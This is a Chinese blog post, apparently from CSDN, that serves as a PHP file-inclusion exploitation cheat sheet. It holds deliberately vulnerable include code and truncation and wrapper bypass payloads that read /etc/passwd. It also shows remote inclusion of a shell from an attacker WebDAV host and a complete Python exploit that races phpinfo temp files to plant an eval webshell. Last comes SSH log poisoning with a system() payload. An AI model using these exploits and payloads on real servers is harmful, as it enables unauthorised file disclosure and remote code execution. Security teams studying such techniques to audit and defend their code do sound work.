PHP代码审计 文件包含专题 淩亂°似流年 2022-10-27 13:49 120阅读 0赞 ## 基础分析 ## LFI 任意文件包含原理源码:即对包含文件没有进行过滤导致 <? php $f = $_GET['f']; include_once('sys/config.php'); include($f); ?> 或者 <?php include($_GET['f']); ?> [LFI漏洞利用思路总结][LFI] ## 利用条件: ## 在php.ini文件中配置两个参数相关的协议 allow\_url\_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。 allow\_url\_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70] ## 特殊技巧 ## 技巧1.存在文件包含时,但限制后缀时的包含技巧 <?php $file = $_GET['file'].".php"; include($file); ?> #如上面的包含 #绕过思路1-->可以利用zip伪协议或者phar伪协议的思路去绕 zip://a.png%23a phar://shell.png/shell #打包一个a.php的内容为a.zip,然后把a.zip改为a.png然后构造伪协议读取就ok了 #绕过思路2-->利用截断思路去绕 #几个典型的 ?file=C://Windows//win.ini%00 (window,magic_quotes_gpc=off,网络上盛传PHP小于5.3.4有效,未完全进行测试,亲测 PHP 5.2.17有效,PHP-5.3.29-nts无效) ?file==../../../../../../../../../etc/passwd%00 (需要 magic_quotes_gpc=off,PHP小于5.3.4有效) 路径长度截断: ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.(php版本小于5.2.8(?)可以成功,linux需要文件名长于 4096,windows需要长于256) 点号截断: ?file=../../../../../../../../../boot.ini/………[…]…………(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于 256) ![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAZ29kZGVtb24_size_20_color_FFFFFF_t_70_g_se_x_16] 技巧2.allow\_url\_include 关闭时 Getshell 攻击机开启共享 /1.php?file=//attacker/1.php 创建webdav服务,shell文件放入目录包含即可 >docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS\_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav Shell文件放入/root/webdav/data /1.php?file=//attacker/1.php 技巧3 session + lfi getshell session.upload\_progress.enabled启用时,文件上传会产生进度文件 /var/lib/php5/sess\_ /var/lib/php/sess\_ [原理][Link 1] 技巧4 phpinfo+lfi getshell [原理][Link 2] exp攻击 #!/usr/bin/python import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i+17:i+31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main() 技巧5 LFI SSH Log \>ssh '<?php system($\_GET\['c'\]); ?>'@192.168.0.107 >http://192.168.0.107/lfi.php?file=/var/log/auth.log&c=ls [LFI]: https://blog.csdn.net/qq_29419013/article/details/81202358 [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70]: /images/20221024/7bfddc31f37141799e0291940cc7d51e.png [watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAZ29kZGVtb24_size_20_color_FFFFFF_t_70_g_se_x_16]: /images/20221024/a78b6d0c9c4b44a1b2867cd778452644.png [Link 1]: https://www.cnblogs.com/hetianlab/p/14867521.html [Link 2]: https://www.anquanke.com/post/id/201136
还没有评论,来说两句吧...